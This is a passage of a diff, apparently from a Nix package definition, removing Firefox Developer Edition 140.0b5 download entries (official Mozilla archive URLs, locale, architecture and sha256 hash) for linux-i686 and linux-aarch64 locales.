-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/tr/firefox-140.0b5.tar.xz";
-      locale = "tr";
-      arch = "linux-i686";
-      sha256 = "b756378920ca14c37469d61c63f34a9466f59f40a82b472ea28d61899bb895f7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/trs/firefox-140.0b5.tar.xz";
-      locale = "trs";
-      arch = "linux-i686";
-      sha256 = "0ae49d1e6bda868036ec0c414d5bbc5ff74be0732bb6e4805a2e2e828f72b24c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/uk/firefox-140.0b5.tar.xz";
-      locale = "uk";
-      arch = "linux-i686";
-      sha256 = "aa70f392172d975aa5041b023b9b80a21f5f718d4ca4bdf109d3bfde49088ade";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ur/firefox-140.0b5.tar.xz";
-      locale = "ur";
-      arch = "linux-i686";
-      sha256 = "91fddeb7716b46bb8777edb7267e60aaabec997aa42d7e2df71e6487e569c7da";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/uz/firefox-140.0b5.tar.xz";
-      locale = "uz";
-      arch = "linux-i686";
-      sha256 = "e638a03300432737035c8ec16c9436ad3774ca47b2046a86148293b293fda3e6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/vi/firefox-140.0b5.tar.xz";
-      locale = "vi";
-      arch = "linux-i686";
-      sha256 = "9bd9044f192512c9ea151e78363695e4b6b3b983818c86192f73ffe9513d9b01";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/xh/firefox-140.0b5.tar.xz";
-      locale = "xh";
-      arch = "linux-i686";
-      sha256 = "5705c42926c38b630f6c9fc5fb04cf09ecafb589dadba19e2e6cd91600141085";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/zh-CN/firefox-140.0b5.tar.xz";
-      locale = "zh-CN";
-      arch = "linux-i686";
-      sha256 = "ddcd5d6ae6274b4f341fa1a1a92b738ddbb2851701482e52b014f282c7d1774e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/zh-TW/firefox-140.0b5.tar.xz";
-      locale = "zh-TW";
-      arch = "linux-i686";
-      sha256 = "aead8a1998fe6f5364c1c1a57477361b3c23b63e6c73ded903b2e0ad341b363e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ach/firefox-140.0b5.tar.xz";
-      locale = "ach";
-      arch = "linux-aarch64";
-      sha256 = "1e011638061ce47193502f1244c48b2ba954e7e665c7ddcd8d7fe338cc9e61ce";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/af/firefox-140.0b5.tar.xz";
-      locale = "af";
-      arch = "linux-aarch64";
-      sha256 = "b7eff363385cad3a3cf1e6e4afb704b203f5a7becbff73729411355199105ff8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/an/firefox-140.0b5.tar.xz";
-      locale = "an";
-      arch = "linux-aarch64";
-      sha256 = "2bc588b60e77e62063ec8c6b7fa7b05bb68100953b58e82335644135f1406ebc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ar/firefox-140.0b5.tar.xz";
-      locale = "ar";
-      arch = "linux-aarch64";
-      sha256 = "6f4edbedf96574f929eac18e8c727f0de149ee37ee73fc6c48df52dc2ef4f49b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ast/firefox-140.0b5.tar.xz";
-      locale = "ast";
-      arch = "linux-aarch64";
-      sha256 = "3495d176546a734f7f187559418fe2d7f3c76c9e83da587c1fb4edcda4dbfb8f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/az/firefox-140.0b5.tar.xz";
-      locale = "az";
-      arch = "linux-aarch64";
-      sha256 = "550d5cf64ee2c75daa38a6cda871bec1f61ca0e563e0d5b1962880f80e70c160";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/be/firefox-140.0b5.tar.xz";
-      locale = "be";
-      arch = "linux-aarch64";
-      sha256 = "330e775dca339e3a6945d23eeb03aa752eeb9e8491a35eaba36601610f5ea122";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/bg/firefox-140.0b5.tar.xz";
-      locale = "bg";
-      arch = "linux-aarch64";
-      sha256 = "8faa665c4a0b31b933a7408f116eafceb88a62ac35ad5e4e168763d9a191c5b7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/bn/firefox-140.0b5.tar.xz";
-      locale = "bn";
-      arch = "linux-aarch64";
-      sha256 = "8c72162a644877585db295686598bc7e5dc8d620ac5bb266b7781ad44dc7a248";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/br/firefox-140.0b5.tar.xz";
-      locale = "br";
-      arch = "linux-aarch64";
-      sha256 = "a18b9133a16206f1d67bc9d5e627cfc9fb721619c5ac01da1546da98147e735a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/bs/firefox-140.0b5.tar.xz";
-      locale = "bs";
-      arch = "linux-aarch64";
-      sha256 = "58777ac3d69a8855e2b0a951cedd3f4f953de54b70420083b78dbd19275448a8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ca-valencia/firefox-140.0b5.tar.xz";
-      locale = "ca-valencia";
-      arch = "linux-aarch64";
-      sha256 = "449002fe40db46803bcf5bd6a52eee835480a72c9c59df4496ed68e4b56832a6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ca/firefox-140.0b5.tar.xz";
-      locale = "ca";
-      arch = "linux-aarch64";
-      sha256 = "59474c67b320c3e9e8ab08d47b2b0277265ec09e1b5f12c7532bd223c3f8f3dc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/cak/firefox-140.0b5.tar.xz";
-      locale = "cak";
-      arch = "linux-aarch64";
-      sha256 = "60dabdd0cdf32ea8dfa74a8e867e93846dcbdba1fed03063caf70781df141b83";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/cs/firefox-140.0b5.tar.xz";
-      locale = "cs";
-      arch = "linux-aarch64";
-      sha256 = "45ae87dfcfebf1fb2912b5644d162162d8a98455e9229c06d5f23a5644a91db1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/cy/firefox-140.0b5.tar.xz";
-      locale = "cy";
-      arch = "linux-aarch64";
-      sha256 = "40108a63e30314a5aa599b09ac6f0ca87b5f7dbd08de0fa09038bfcf291e951b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/da/firefox-140.0b5.tar.xz";
-      locale = "da";
-      arch = "linux-aarch64";
-      sha256 = "19627a6e38683435e26c184139d9fef0c85d354fe34b406ac16be4de09e7d783";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/de/firefox-140.0b5.tar.xz";
-      locale = "de";
-      arch = "linux-aarch64";
-      sha256 = "f64faf6d852a31a0e833215789c49f2d58ac4f2f293a68ad1ff6e81ebdbf0bef";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/dsb/firefox-140.0b5.tar.xz";
-      locale = "dsb";
-      arch = "linux-aarch64";
-      sha256 = "184d700e189dcbc21d40d3f5db54c2837356321b027608b330e1cd76268a8650";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/el/firefox-140.0b5.tar.xz";
-      locale = "el";
-      arch = "linux-aarch64";
-      sha256 = "9a8ca4f1f802229d9cc0f560488186245a82405aa938cdba20d7ef760314a262";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/en-CA/firefox-140.0b5.tar.xz";
-      locale = "en-CA";
-      arch = "linux-aarch64";
-      sha256 = "4886557b6a6ab5db4c71cc6440b60cdbd43bfc432f122de2194ca059766919f6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/en-GB/firefox-140.0b5.tar.xz";
-      locale = "en-GB";
-      arch = "linux-aarch64";
-      sha256 = "45050e91de2864cffc6dd4300d44f389922d8dd572ec257ec72171ce8c09143a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/en-US/firefox-140.0b5.tar.xz";
-      locale = "en-US";
-      arch = "linux-aarch64";
-      sha256 = "a0ee52348165433189bc72678a3e62899b7f63dfc0b26a5533df43af98f11f9c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/eo/firefox-140.0b5.tar.xz";
-      locale = "eo";
-      arch = "linux-aarch64";
-      sha256 = "2f283c0c08a403861b015d003bb2cbbb989f960a4cf5071dbfd076b2b8311c75";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/es-AR/firefox-140.0b5.tar.xz";
-      locale = "es-AR";
-      arch = "linux-aarch64";
-      sha256 = "6161b9e86c35efcd3528f37c0075b18c718fbc143075f2580ee5e297479b9cd8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/es-CL/firefox-140.0b5.tar.xz";
-      locale = "es-CL";
-      arch = "linux-aarch64";
-      sha256 = "997bdb4cf544482f75456a95435f3e21aab8ab62b84bd095d673f7f289eac774";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/es-ES/firefox-140.0b5.tar.xz";
-      locale = "es-ES";
-      arch = "linux-aarch64";
-      sha256 = "90f601277721de0bc1f7f443e1078c662ee999856f5810e58efc999bc9ead114";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/es-MX/firefox-140.0b5.tar.xz";
-      locale = "es-MX";
-      arch = "linux-aarch64";
-      sha256 = "653916d1c61dcf53fdb1346e78b7c6c7054ace4ad09304316c3b81fdf71957da";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/et/firefox-140.0b5.tar.xz";
-      locale = "et";
-      arch = "linux-aarch64";
-      sha256 = "7dd4dab421af15474b0417753c5df7b422014ad85c62954518b78589d28ff143";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/eu/firefox-140.0b5.tar.xz";
-      locale = "eu";
-      arch = "linux-aarch64";
-      sha256 = "60d186881b7694813433badc2e8ff787ff6f5ebb4a868197831b8e38abca7870";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/fa/firefox-140.0b5.tar.xz";
-      locale = "fa";
-      arch = "linux-aarch64";
-      sha256 = "ff5b4003af3d4be4041517216e94a8ccdf7370cec16000df01cb30a238a07a75";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ff/firefox-140.0b5.tar.xz";
-      locale = "ff";
-      arch = "linux-aarch64";
-      sha256 = "ca08ec6ac6a77cad1e0e24dc29f29a7857eebcd8abcb6614b40045a2ecae699f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/fi/firefox-140.0b5.tar.xz";
-      locale = "fi";
-      arch = "linux-aarch64";
-      sha256 = "762d4cb09ecb00e5a51f6f9eef51805f9613716717a52ef107725c5466e81bfb";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/fr/firefox-140.0b5.tar.xz";
-      locale = "fr";
-      arch = "linux-aarch64";
-      sha256 = "6db714ca2523ba57e70e625be0281bf65065b4b3a928671f3bc8286c3a60d1b2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/fur/firefox-140.0b5.tar.xz";
-      locale = "fur";
-      arch = "linux-aarch64";
-      sha256 = "886b97c7d720d5bcf0cb083da7c8c9272c354116ae9a6174a135f024ece89a7f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/fy-NL/firefox-140.0b5.tar.xz";
-      locale = "fy-NL";
-      arch = "linux-aarch64";
-      sha256 = "35af23cfc3b24562fd897163a3e128bf75eb155c591c8aa39faaa25e83acde3b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ga-IE/firefox-140.0b5.tar.xz";
-      locale = "ga-IE";
-      arch = "linux-aarch64";
-      sha256 = "f3b13118476e1c27cec0cc5a6953a0ff9a937c3840d4356af0dbc346943e0cd7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/gd/firefox-140.0b5.tar.xz";
-      locale = "gd";
-      arch = "linux-aarch64";
-      sha256 = "eb9cb4cc1d142a50b19f43325f455620cf8c88924d8688f2a4706e81cd0f67f1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/gl/firefox-140.0b5.tar.xz";
-      locale = "gl";
-      arch = "linux-aarch64";
-      sha256 = "033e8e3693b8cf68066435d85490db69e615688f0b29a3c55c5cea97f867abeb";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/gn/firefox-140.0b5.tar.xz";
-      locale = "gn";
-      arch = "linux-aarch64";
-      sha256 = "4c224925a326b8f8d9a1fd95bf5033a5be1e2bae657be6decc329f39d57275ea";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/gu-IN/firefox-140.0b5.tar.xz";
-      locale = "gu-IN";
-      arch = "linux-aarch64";
-      sha256 = "85f1222a1cd7175d03cf8a8d2985ec8e26cb3eb6ce9b995ef001cb7d2669caa1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/he/firefox-140.0b5.tar.xz";
-      locale = "he";
-      arch = "linux-aarch64";
-      sha256 = "3c16de5fff4b745cf82331d1ca61e26d3470828f7a0780923825193fbd7a77c9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/hi-IN/firefox-140.0b5.tar.xz";
-      locale = "hi-IN";
-      arch = "linux-aarch64";
-      sha256 = "5bd8778a884af045280bebb3dad18c3713596f2f4bc28866a174aa905a8033c5";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/hr/firefox-140.0b5.tar.xz";
-      locale = "hr";
-      arch = "linux-aarch64";
-      sha256 = "090c4785527ff5060af5ec61ed257a79fe09f48355fdace3748557b66644545e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/hsb/firefox-140.0b5.tar.xz";
-      locale = "hsb";
-      arch = "linux-aarch64";
-      sha256 = "a4e024dc461e043c80752b615f81040d963313c6a7d846535520e51f644d2f50";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/hu/firefox-140.0b5.tar.xz";
-      locale = "hu";
-      arch = "linux-aarch64";
-      sha256 = "4e782f584f846064a7cbf5765c3be5b204ff2979447c98a84efafe0f6ec96da2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/hy-AM/firefox-140.0b5.tar.xz";
-      locale = "hy-AM";
-      arch = "linux-aarch64";
-      sha256 = "d72106a177b9cdd4202e28d9ae687185acae2e2057a47628249b7b814dd79512";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ia/firefox-140.0b5.tar.xz";
-      locale = "ia";
-      arch = "linux-aarch64";
-      sha256 = "037217e499e38a3db7589c73092d49dcab2de8e98f2bb09e9c243397573c4fe3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/id/firefox-140.0b5.tar.xz";
-      locale = "id";
-      arch = "linux-aarch64";
-      sha256 = "e49cc487d68df6e4f3c5e829e67ba9b66f6becab4956d7d37818b00d93adf096";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/is/firefox-140.0b5.tar.xz";
-      locale = "is";
-      arch = "linux-aarch64";
-      sha256 = "935810f00a7742c48a80559b8e387c77781664a202be6f014375ca9b50f0c14e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/it/firefox-140.0b5.tar.xz";
-      locale = "it";
-      arch = "linux-aarch64";
-      sha256 = "3f28d9eebaa24d21583110e062177b2e709a8b20558de73df1d8852ef1fb4095";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ja/firefox-140.0b5.tar.xz";
-      locale = "ja";
-      arch = "linux-aarch64";
-      sha256 = "bbb9ff9c320061e98e54a93930c63944cb6cc4f921e89c00a5d5295d4770f59a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ka/firefox-140.0b5.tar.xz";
-      locale = "ka";
-      arch = "linux-aarch64";
-      sha256 = "8bbe2d76336c916920a74bbff6a80ad53bec9f282849a6ffed4f2c54deef0c2b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/kab/firefox-140.0b5.tar.xz";
-      locale = "kab";
-      arch = "linux-aarch64";
-      sha256 = "d2a9cd1f96f1dce323ec228e361ef056b648402011c34c9fcc506d76a7cb775c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/kk/firefox-140.0b5.tar.xz";
-      locale = "kk";
-      arch = "linux-aarch64";
-      sha256 = "2ff4750434a085bcc6967355ad60895faa9b0f66aebb1df9e77a2b4ad5ec05d7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/km/firefox-140.0b5.tar.xz";
-      locale = "km";
-      arch = "linux-aarch64";
-      sha256 = "3821c7e71d387596c042b231a046c4e1737beb59fc4869f2731aef7bbba0f61a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/kn/firefox-140.0b5.tar.xz";
-      locale = "kn";
-      arch = "linux-aarch64";
-      sha256 = "38f9731050ce577db8e657bf817d7e049d75fec65a5a46d3b4092146264fcf56";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ko/firefox-140.0b5.tar.xz";
-      locale = "ko";
-      arch = "linux-aarch64";
-      sha256 = "81bbc9a2dfd74aab21573a0d914992be67cafd07b3c9340575a4e2e15d8800d5";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/lij/firefox-140.0b5.tar.xz";
-      locale = "lij";
-      arch = "linux-aarch64";
-      sha256 = "c310e302c58b8c051879cfe416930b686662cb13d57e416f8d4fcc03a8c10cf9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/lt/firefox-140.0b5.tar.xz";
-      locale = "lt";
-      arch = "linux-aarch64";
-      sha256 = "380ceac202194db26a7c04d718542be4d7ed53d12b90431a80c729fb6a314d0d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/lv/firefox-140.0b5.tar.xz";
-      locale = "lv";
-      arch = "linux-aarch64";
-      sha256 = "966c9fd50281bb33eeb194bc4725e1c7f090fa73de4b525d417f05427cdf809a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/mk/firefox-140.0b5.tar.xz";
-      locale = "mk";
-      arch = "linux-aarch64";
-      sha256 = "627744979950de4aa672aefddba71aefeb600175b53146601ab8d2afa41e014c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/mr/firefox-140.0b5.tar.xz";
-      locale = "mr";
-      arch = "linux-aarch64";
-      sha256 = "8c747e56063119607db5c2aab161bd52c4e7a13967c54144fccee5862231766b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ms/firefox-140.0b5.tar.xz";
-      locale = "ms";
-      arch = "linux-aarch64";
-      sha256 = "e33f0ceb939e05283d62de4f07098d40da5895c6ac9cc3394e357d5d66e17e08";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/my/firefox-140.0b5.tar.xz";
-      locale = "my";
-      arch = "linux-aarch64";
-      sha256 = "9f4fa6be9d82941e39c7c8290b9d1c81db93b5e14e8762164b7fb51dc79f9a29";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/nb-NO/firefox-140.0b5.tar.xz";
-      locale = "nb-NO";
-      arch = "linux-aarch64";
-      sha256 = "b933144efd2c94924acbdc023b6e970ec86dcb3af66992f5b8adbd7c6196c07f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ne-NP/firefox-140.0b5.tar.xz";
-      locale = "ne-NP";
-      arch = "linux-aarch64";
-      sha256 = "a1538cb554c8e0cdd7aa3cae99b42c8f873b53d8a66f68a1c771792fdcc9ad66";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/nl/firefox-140.0b5.tar.xz";
-      locale = "nl";
-      arch = "linux-aarch64";
-      sha256 = "c8a4a788a71971d188c684168569fb65180681e34dd0c40068cdf74e577ce031";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/nn-NO/firefox-140.0b5.tar.xz";
-      locale = "nn-NO";
-      arch = "linux-aarch64";
-      sha256 = "5fbaab1173ee8b8dfd283641a6dcb2f5d70138045bd0c794a75b5ba09fbe98d0";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/oc/firefox-140.0b5.tar.xz";
-      locale = "oc";
-      arch = "linux-aarch64";
-      sha256 = "fcfda166f46d99afb40654d1a7028b395f91f50ec22ea873fb2a20b2358866c6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/pa-IN/firefox-140.0b5.tar.xz";
-      locale = "pa-IN";
-      arch = "linux-aarch64";
-      sha256 = "4a7f826caf0bac406b5c0025f64e04e0f40cd74c12251f2541dba3e2125b1018";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/pl/firefox-140.0b5.tar.xz";
-      locale = "pl";
-      arch = "linux-aarch64";
-      sha256 = "7be0dc3d878ff5b3b0089dbdd6124fb736f1ae6e43aefdc30e17fa7095fc7eec";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/pt-BR/firefox-140.0b5.tar.xz";
-      locale = "pt-BR";
-      arch = "linux-aarch64";
-      sha256 = "21f9f3142584c0798e88331cf8d961ad66f2d0ff3796d978ba1b7bc7bbb810dc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/pt-PT/firefox-140.0b5.tar.xz";
-      locale = "pt-PT";
-      arch = "linux-aarch64";
-      sha256 = "7b54964662af7c975d64a56178d3a0bcb63fa4f4d7f3022e85384ab2ac194016";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/rm/firefox-140.0b5.tar.xz";
-      locale = "rm";
-      arch = "linux-aarch64";
-      sha256 = "4f084efd1dbe4424aecf726b9bf78e3e832c79930d366017acc32c3f6bad1969";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ro/firefox-140.0b5.tar.xz";
-      locale = "ro";
-      arch = "linux-aarch64";
-      sha256 = "a544b6aec82ea94e87d76907ffa295f22f8cafe76b47cdad117437a5ce626733";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ru/firefox-140.0b5.tar.xz";
-      locale = "ru";
-      arch = "linux-aarch64";
-      sha256 = "ac918191cd19b1cefdbaa34a83aa9e343323f75cedea255ab1caf0119116f826";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/sat/firefox-140.0b5.tar.xz";
-      locale = "sat";
-      arch = "linux-aarch64";
-      sha256 = "ec11b2475fca2aeae9550b2647492227def51ed21ea349586227bbbae2e5362e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/sc/firefox-140.0b5.tar.xz";
-      locale = "sc";
-      arch = "linux-aarch64";
-      sha256 = "a6e14ccd27f4b6f57c3464069a194dda3da1b079dd451667fe45f2709b29ab49";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/sco/firefox-140.0b5.tar.xz";
-      locale = "sco";
-      arch = "linux-aarch64";
-      sha256 = "78c90f950c950766a633f358920e06da279069f33c37322a1638ac0bf6c2dd59";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/si/firefox-140.0b5.tar.xz";
-      locale = "si";
-      arch = "linux-aarch64";
-      sha256 = "5b2155b0e7f61b4bb008dac5a91cfbc373ecf72c8bced76773bcc78bb75e6f1c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/sk/firefox-140.0b5.tar.xz";
-      locale = "sk";
-      arch = "linux-aarch64";
-      sha256 = "8e5217e5796f746ac6fd99c9b87982e20c70910a15f2e05531d0093ece37da6d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/skr/firefox-140.0b5.tar.xz";
-      locale = "skr";
-      arch = "linux-aarch64";
-      sha256 = "1fae131ac8dcf6aff16717e0f681cec5621a1952d0d13928ec4ec1f4a923af02";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/sl/firefox-140.0b5.tar.xz";
-      locale = "sl";
-      arch = "linux-aarch64";
-      sha256 = "44e9aeeb682f91ce60571732aaad6e94a2231c2660029ca741707d49f4d2d41d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/son/firefox-140.0b5.tar.xz";
-      locale = "son";
-      arch = "linux-aarch64";
-      sha256 = "0e4fe06cbb4e9678d59ab2568d4e1fb7d6dfb388c7dfc55c918405d975c45a68";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/sq/firefox-140.0b5.tar.xz";
-      locale = "sq";
-      arch = "linux-aarch64";
-      sha256 = "21d94ec8f62ff82e72c5b249506f9d2cf735f96ef9ba92575630353d14edc0da";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/sr/firefox-140.0b5.tar.xz";
-      locale = "sr";
-      arch = "linux-aarch64";
-      sha256 = "7bcb3e71959b65fb29974cce8169f2ad151475d7f9788c9e22c0b32f7e012c5f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/sv-SE/firefox-140.0b5.tar.xz";
-      locale = "sv-SE";
-      arch = "linux-aarch64";
-      sha256 = "9a8b15f4813305901df5482b7873dd9f6e6cb6377aafbcc3186a769f7ed8383b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/szl/firefox-140.0b5.tar.xz";
-      locale = "szl";
-      arch = "linux-aarch64";
-      sha256 = "16c007db8ae7cf01f08fbab1f8f8fc974a65aa5d85dba39eed0c2170e0ad1411";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ta/firefox-140.0b5.tar.xz";
-      locale = "ta";
-      arch = "linux-aarch64";
-      sha256 = "924fe10a4ec038dfac1f10a445f88bb16d13d2d9e572e34a454654b622a11ac7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/te/firefox-140.0b5.tar.xz";
-      locale = "te";
-      arch = "linux-aarch64";
-      sha256 = "fe73e00623af2142be1986748602ffd4b4a809285d6b36131be723dff691067f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/tg/firefox-140.0b5.tar.xz";
-      locale = "tg";
-      arch = "linux-aarch64";
-      sha256 = "557792ef8ed1e0ecd81fdaaf21c176f5b8a1b2c90d7ed0bc322792020e2d6898";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/th/firefox-140.0b5.tar.xz";
-      locale = "th";
-      arch = "linux-aarch64";
-      sha256 = "0fbe64c99655b66c8b6c17bbc63c6e3a4ed3e44bbd635077a641fa0e05eb4c3c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/tl/firefox-140.0b5.tar.xz";
-      locale = "tl";
-      arch = "linux-aarch64";
